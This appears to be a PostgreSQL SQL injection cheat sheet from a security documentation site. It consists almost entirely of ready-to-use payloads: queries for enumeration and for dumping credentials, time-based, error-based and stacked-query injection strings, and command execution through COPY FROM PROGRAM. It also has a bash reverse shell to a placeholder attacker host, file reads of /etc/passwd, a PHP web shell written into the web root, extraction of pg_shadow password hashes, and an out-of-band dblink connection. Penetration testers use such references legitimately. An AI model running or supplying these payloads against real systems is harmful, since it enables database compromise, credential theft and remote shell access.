Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Identification

SELECT version()
-- Comment: -- or /* */
-- String concat: 'a'||'b'

Information Gathering

SELECT current_database()
SELECT current_user
SELECT session_user
SELECT current_schema()
SELECT inet_server_addr()
SELECT inet_server_port()

Enumerate Databases

SELECT datname FROM pg_database
SELECT string_agg(datname,',') FROM pg_database

Enumerate Tables

SELECT table_name FROM information_schema.tables WHERE table_schema='public'
SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'
SELECT relname FROM pg_class WHERE relkind='r'

Enumerate Columns

SELECT column_name FROM information_schema.columns WHERE table_name='users'
SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='users'

Dump Data

SELECT username||':'||password FROM users
SELECT string_agg(username||':'||password, ',') FROM users

String Functions

FunctionDescription
||Concatenate
string_agg(col,sep)Aggregate concat
SUBSTRING(str,pos,len)Substring
SUBSTR(str,pos,len)Alias
LEFT(str,n)Left N chars
RIGHT(str,n)Right N chars
LENGTH(str)String length
ASCII(char)ASCII value
CHR(n)Char from ASCII
MD5(str)MD5 hash
ENCODE(data,'base64')Base64 encode
DECODE(data,'base64')Base64 decode

Conditional

CASE WHEN condition THEN true_val ELSE false_val END
SELECT (CASE WHEN 1=1 THEN 'true' ELSE 'false' END)

Time Delay

SELECT pg_sleep(5)
SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END

Error-Based

CAST((QUERY) AS int)
-- Example:
' AND 1=CAST((SELECT current_database()) AS int)-- -

Command Execution (RCE)

COPY FROM PROGRAM (9.3+)

CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;

Reverse Shell

COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';

File Read

SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)

-- Via COPY
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

File Write

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'

Large Objects

SELECT lo_import('/etc/passwd')                    -- Import to LOB
SELECT lo_get(OID)                                 -- Read LOB content
SELECT lo_export(OID, '/tmp/output')               -- Export LOB to file

Password Hashes

SELECT usename, passwd FROM pg_shadow
Crack: hashcat -m 12.

Stacked Queries

Fully supported:
'; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'id';-- -

Extensions

CREATE EXTENSION dblink;
SELECT dblink_connect('host=ATTACKER dbname=x user=x');    -- OOB

Privilege Check

SELECT current_setting('is_superuser')
SELECT rolsuper FROM pg_roles WHERE rolname=current_user

Sources